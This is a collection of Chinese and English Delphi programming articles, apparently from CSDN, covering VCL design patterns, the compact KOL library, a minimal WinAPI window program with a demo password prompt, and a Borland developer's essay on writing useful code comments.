  2. 你可以在设计时设置属性，不要小看这个优点，我们可以开发出属性编辑器，可以让用户只能选择合法的属性值。
  3. 对于可视组件，你可以在设计时设置组件的位置和大小。

这只是显而易见的优点，它只是表象，隐藏在这些优点下面的精髓是：OOP。Delphi提供了一个组件框架，所以当你开始试图通过写组件来简化编程的时候，你就会不知不觉的采用OO的编程方法。最为重要的是VCL框架采用了许多让程序易于重用的设计模式：

  1. Composite 模式：当你在Form上放置各种组件，组成一个新的TForm的派生类，你用到了Composite 模式
  2. Builder 模式：当你创建你定义的Form时，你会使用Builder模式，通常Builder模式创建的对象是由Composite模式组成的。
  3. Template Method 模式：这个模式太普遍了，任何一个从TComponent的派生的类，都会使用该模式！
  4. Mediator 模式 ：当你写事件时，你用的正是Mediator 模式，注意了Mediator 模式中的缺点就是：它会使中介者为一个庞然大物！
  5. Singleton 模式：尽管没有任何机制阻止我们创建多个TApplicaion对象，但是我们知道任何一个GUI程序只能有一个TApplcaiton对象，那就是全局变量Applicaion。

当你开发组件时，你已经开始使用OOP，并且将会使用上面的五种模式。至少从理论上已经保证你的代码是可以重用的，你的程序是易于更改从而适应更多的需求。

Mail To:Me


CSDN_文档中心_最酷的程序员用KOL

最酷的程序员用KOL

by Superpage

前言

VCL 库是Delphi程序员熟知的，她几乎成了Delphi RAD技术的代言人。
VCL拥有世界上最大最丰富的控件资源涵盖了软件开发的各个方面，远远超过其他开发工具，是每个程序员所垂涎。VCL的优点不再多说，现在我要向各位Delphi兄弟介绍另一套Delphi上的类库:KOL。

KOL是什么？

KOL - Key Objects Library is a set of objects to develop power 32 bit Windows GUI applications using Delphi. It is distributed free of charge, with source code.
Delphi2, Delphi3, Delphi4 and Delphi5 are supported. KOL allows to create very compact GUI applications (starting from ~13,5K without compression - if suggested system units replacement used). The most of code is converted to built-in assembler.
Help generating tool xHelpGen is provided for KOL, which creates detailed documentation in html format. Documentation is generated on base of comments from the source, so developers instantly have access to the most fresh and complete documentation.
Programming for KOL was totally non-visual earlier, but with opening project MCK (Mirror Classes Kit), all advantages of visual programming become available for developers who use KOL.
Starting from April, 2001 the unit KOLEdb provided, which allows to create tiny (but power) database applications starting from 24K of executable size. It uses OLE DB protocol, so any database can be supported, including network database.

(以上这段摘自KOL的主页)

"没有一个字节的代码是废物"

(我写的第2个KOL程序，35K，Aspack压缩后28K，1个Exe不需要任何运行库)

现在的VCL应用程序虽然很优美，但还不够精简（a little oversized），一个空空的GUI程序至少有270K(Delphi5)，原因是Borland的编译器技术虽然精湛，具有SmartLink技术（只把用到的代码连接到EXE），但对于很多面向对象编程中采用了大量的的方法继承，虚方法表，使得 SmartLink也无能为力。而且随着 Delphi 升级，基本对象的方法和属性的代码也越来越大。采用分离的运行库编译虽然可以减小EXE，但要求客户端安装VCL运行库是困难的，除非微软让步......（不说也罢）。不过总的说来，虽然基于VCL的程序有冗余代码，但相对其他同类类库，EXE尺寸已经算很不错了，一般在数百K到1、2M左右。
其实我们很早就听说直接用WinAPI可以创建很小的程序(有个著名的TestGUI.DPR)，因此有些程序员就打算自己建VCL以外的类库，具有VCL主要的功能，创造精简的
程序。Delphi上的非VCL类库目前我所见到的有3个，分别为 ACL,XCL/KOL 都出自俄罗斯（老毛子高人辈出，而且是历史上很多革命的发源地）。其中最具有革命性的就属KOL库，作者 Vladimir Kladov 在1999年就开始设计 XCL，XCL出到1.86(2000年7月)
特点是重写VCL，删除不必要使用很少的对象属性和方法，其体系与VCL类似，也是
对象继承方式。
到2000年，Vladimir Kladov 发现XCL虽然有效，但不能根本解决问题，或者说有可能重蹈VCL库覆辙，于是他停下了XCL，推出了更大胆的计划KOL。其技术要点是设计了一个巨无霸对象TControl，避免了对象继承，用不同的NewXXXX方法创建对象，使得编译器可以轻松的剔掉冗余代码，另外还有替换System单元等多种手段。听起来很不可思议，是吧？哈哈，但我玩过最新的KOL，发现它的确实厉害，KOL的目标并不是取代VCL，而是帮助我们完成一些功能齐全的，尺寸紧凑的专用EXE(最小的KOL GUI 程序只有9.5k)，这在我们将来设计一些通过网上分发或嵌入设备程序会很有用。另外，KOL中重写了的TStrList、TList等大量对象比原来的VCL效率更高。

KOL的程序设计难吗？
（以下部分内容据我今天(2001/5/14)刚从网上更新的0.74KOL，0.73MCK库而来，而KOL最近更新很频繁，请大家关注其网站）
早期的KOL的程序开发是完全"非可视"的，其标准例子可看出。不过用KOL的程序员，绝非等闲之辈，相信 VC++/MFC的哥们也会很容易上手，因为和 WinAPI打交道其实也很亲切，但KOL绝对是一个优越面向对象的类库，建新程序中自己手写的代码已经不算多了。

但Kladov又推出一个可视开发工具 MCK(镜象构件库)，非常巧妙的利用了Delphi的IDE
实现了可视开发。当然很多人建议设计VCL工程翻译工具可能更方便，但现在还没人去做，毕竟是个革命性的东西，需要更多人参与。我个人认为MCK还算个很好的思路，至少在新工程开发上不难。但传统的Delphi程序员一定要有思想准备，你的第一个KOL程序花的时间肯定是你第一个VCL程序的数倍甚至更多（第一个VCL程序只要按一下F9就行了，呵呵）将来的KOL会“可视”到什么程度，我的估计应该很乐观。
现在KOL已经有OLEdb 和 DBF 数据库的控件了，由于 VCL的控件大多源码开放，KOL的控件群出现指日可待。
说到可视化工具MCK，我真的很佩服Kladov的匠心独具，Kladov有一句话很有意思：

“KOL/XCL从一开始就没打算设计成可视化开发方式...我反复的告戒自己KOL可视化是不可能的，可是我熬了4个通宵后，事情好象办成了...”

说这么多差不多了，各位赶快去KOL主页上看看吧。

其他

你写的第一个KOL Form 注意上的 defaultPosition defaultSize 属性请设为 False.

希望各位Delphi兄弟有空交流KOL开发经验，我的信箱： superpage@163.net


CSDN_文档中心_最小的程序

program testwindow;

uses
Windows,
Messages;

var
WinClass: TWndClassA;
Inst, Handle, Button1, Label1, Edit1: Integer;
Msg: TMsg;
hFont: Integer;

{ Checks if typed password is 'Amigreen' and shows Message }
procedure CheckPassword;
var
Textlength: Integer;
Text: PChar;
begin
TextLength := GetWindowTextLength(Edit1);
if TextLength = 8 then
begin
GetMem(Text, TextLength + 1);
GetWindowText(Edit1, Text, TextLength + 1);
if Text = 'Amigreen' then
begin
MessageBoxA(Handle, 'Password is correct.', 'Password check', MB_OK);
FreeMem(Text, TextLength + 1);
Exit;
end;
end;
MessageBoxA(Handle, 'Password is incorrect.', 'Password check', MB_OK);
end;

{ Custom WindowProc function }
function WindowProc(hWnd, uMsg, wParam, lParam: Integer): Integer; stdcall;
begin
Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
{ Checks for messages }
if (lParam = Button1) and (uMsg = WM_COMMAND) then
CheckPassword;
if uMsg = WM_DESTROY then
Halt;
end;

begin
{ ** Register Custom WndClass ** }
Inst := hInstance;
with WinClass do
begin
style := CS_CLASSDC or CS_PARENTDC;
lpfnWndProc := @WindowProc;
hInstance := Inst;
hbrBackground := color_btnface + 1;
lpszClassname := 'AG_TESTWINDOW';
hCursor := LoadCursor(0, IDC_ARROW);
end; { with }
RegisterClass(WinClass);

{ ** Create Main Window ** }
Handle := CreateWindowEx(WS_EX_WINDOWEDGE, 'AG_TESTWINDOW', 'Amigreen TestWindow 1.00',
WS_VISIBLE or WS_SIZEBOX or WS_CAPTION or WS_SYSMENU,
363, 278, 305, 65, 0, 0, Inst, nil);
{ ** Create a button ** }
Button1 := CreateWindow('Button', 'OK', WS_VISIBLE or WS_CHILD or BS_PUSHLIKE or BS_TEXT,
216, 8, 75, 25, handle, 0, Inst, nil);
{ ** Create a label (static) ** }
Label1 := Createwindow('Static', '', WS_VISIBLE or WS_CHILD or SS_LEFT,
8, 12, 76, 13, Handle, 0, Inst, nil);

{ ** Create an edit field ** }
Edit1 := CreateWindowEx(WS_EX_CLIENTEDGE, 'Edit', '', WS_CHILD or WS_VISIBLE or
WS_BORDER or ES_PASSWORD, 88, 8, 121, 21, Handle, 0, Inst, nil);

{ ** Create Font Handle ** }
hFont := CreateFont(-11, 0, 0, 0, 400, 0, 0, 0, DEFAULT_CHARSET,
OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,
DEFAULT_PITCH or FF_DONTCARE, 'MS Sans Serif');

{ Change fonts }
if hFont <> 0 then
begin
SendMessage(Button1, WM_SETFONT, hFont, 0);
SendMessage(Label1, WM_SETFONT, hFont, 0);
SendMessage(Edit1, WM_SETFONT, hFont, 0);
end;
{ Change label (static) text }
SetWindowText(Label1, 'Enter password:');
{ Set the focus to the edit control }
SetFocus(Edit1);

UpdateWindow(Handle);

{ ** Message Loop ** }
while(GetMessage(Msg, Handle, 0, 0)) do
begin
TranslateMessage(msg);
DispatchMessage(msg);
end; { with }
end.


CSDN_文档中心_// I have a comment ----Delphi 研发人员谈注释

Abstract:Robert Kozak, from Delphi R&D, talks about proper coding techniques.

// I have a comment…

by Robert Kozak (Delphi R&D)

A couple of months ago I had the opportunity to review some code that I wrote when I first started working with Delphi. I hate to admit it but it was pretty bad. A very humbling experience for sure. My skills are vastly improved since that time. In fact, I've notice changes in just a few months. Have you ever gone back and looked at the code that you wrote six months ago? I bet that the thought going through your head was "What was I thinking? There is no way I wrote that."

If you ever had to debug your own code from a previous project I bet it was painful. It is even worse if you have to debug someone else's code. The only thing that can help the pain is good comments. Notice I said "good" comments. Bad comments are worse than no comments at all. For example look at the code snippit below. What does it do?

The comments in the above snippit are utterly worthless. It doesn't help you tell what the code does. Is this better?

The secret to writing a good comment is to ask yourself why rather than how. In your comments don't try to write how the code works (that code itself is the how) but explain why you wrote it. Typically, when commenting is done right there is less of it.

(* Categories of comments *)

There are basically 5 categories of kinds of comments. I'll explain them from the worse to the best:

Repeat the code

This type of comment restates the code in different words without adding any additional information. This type of comment is to avoided like the plague.

Explanation of the code

This type of comment is used to explain complicated or tricky code. Although these types of comments can help it much better to rewrite the code so that it is easier to understand.

Markers

Markers are used as a temporary note to yourself or other programmers on your team. With Delphi 5 you now have //TODO comments recognized by the IDE. A friend of mine uses //\\ to mark code he wants to come back to later while I tend to use my initials //rk: When the project is completed these markers should be removed.

Summary of the code

This type of comment summarizes the code in a few sentences. This is better than just repeating the code because it allows someone not familiar with your code to scan through quickly.

Description of the code's intent

This explains the purpose of the code, or in other words, the why. Comments of this type are easy to read and give you the information required to understand the code it refers to.

{Commenting Techniques}

Okay, now that we know we want to use summary and intent commenting types lets take a look at some techniques to use them properly. There are basically 5 areas you want to use comments: individual lines, code paragraphs, data structures, routines, units and projects.

Individual lines

If you are writing good code (that is the point, right?) then you will only comment individual lines in two cases. In the first case, the individual line is complicated enough that it needs an explanation. Although, it is easy to rewrite a complicated routine to clarify its intent it is hard to rewrite an individual line. In the second case, the individual line had an error and you want to record it.

I used to use endline comments a lot. These are comments that are added to the end of the line, as in:

The endline comment usually doesn't have enough room to clarify the intent and so degenerates into restating the how. Endline comments also are hard to keep aligned and tend to use abbreviations. The only time that endline comments would be appropriate would be to annotate data declarations, maintenance notes, or to mark the end of a block (//end if, //end while, etc. ). Data declarations tend to be short so there is more room for an endline comment. If you did place the comment above each data declaration it would be harder to follow the data structure itself. Maintenance notes tend to be short and feature initials, date and bug numbers and since they don't actually comment the intent of the code an endline comment is appropriate.

Code paragraphs

This is the most common way (and best) to comment your code. Commenting this way should describe the intent of the code following the comment. Don't forget, that you should concentrate of the why and not the how. These types of comments should prepare the reader for what is to follow. They should be able to scan the comments and get a good idea what the code does.

Data declarations

Comments that describe variable declarations describe aspects of the variable that the name itself can not, such as its units (as kilometres, feet, pounds, dollars etc.). Variables should be commented where they are declared and if you have any flag variables where each bit has its own meaning then each of these should be commented.

Routines

Some people while tell you that each routine needs this huge monolithic comment header. This is ridiculous. For one, this makes for comments that a laborious to read and far away from the code it describes. Good comments should be at close proximity to the code it describes, usually a few lines of comments are sufficient. There are times though a particular routine does need a little more info. Take for example the following snippit:

I always had trouble with this because I kept forgetting which was the Sender and which was the Target. Even in my own code, for routines with a Source and Target, I kept forgetting which was the incoming and which was the outgoing variable. A comment can go a long way in helping alleviate this confusion. Some other things you may want to put in a routine comment (as needed) are: interface assumptions, change history, routine limitations, global effects, algorithm's source, and design patterns used.

Units and projects

Finally we come to units and projects. When commenting units and projects you want to give a short description of the project or unit and describe the purpose of each file. You may also want a change history, description of major objects and design patterns used. You should also include you name and how to reach you either by phone number or email so that anyone maintaining your code can get a hold of you so you can explain the silliness you wrote. And if appropriate a copyright notice.

//end file

If you are like me you need to work on your commenting skills. Commenting doesn't have to be hard or time consuming. Just remember that your code is the how and your comments are the why. If you keep this in mind I have no doubt that even I could make sense of your code.

{ TODO: For additional reading see Code Complete by Steve McConnell, Microsoft Press }

Biography

Robert Kozak is a member of the Kylix R&D team and has been with Borland since the later half of 1999. Robert has been involved as a user of Delphi since the initial beta and since he joined Borland he has been involved in the development of Borland C++ Builder 5 and now Kylix (Top Secret project to bring Delphi and BCB to the Linux platform.) Robert was involved with the start of TaDDA! (Toronto Area Delphi Developers Association) which later merged with TDUG (Toronto Delphi Users Group). Robert continues to stay active in the user community and is active on the Borland newsgroups.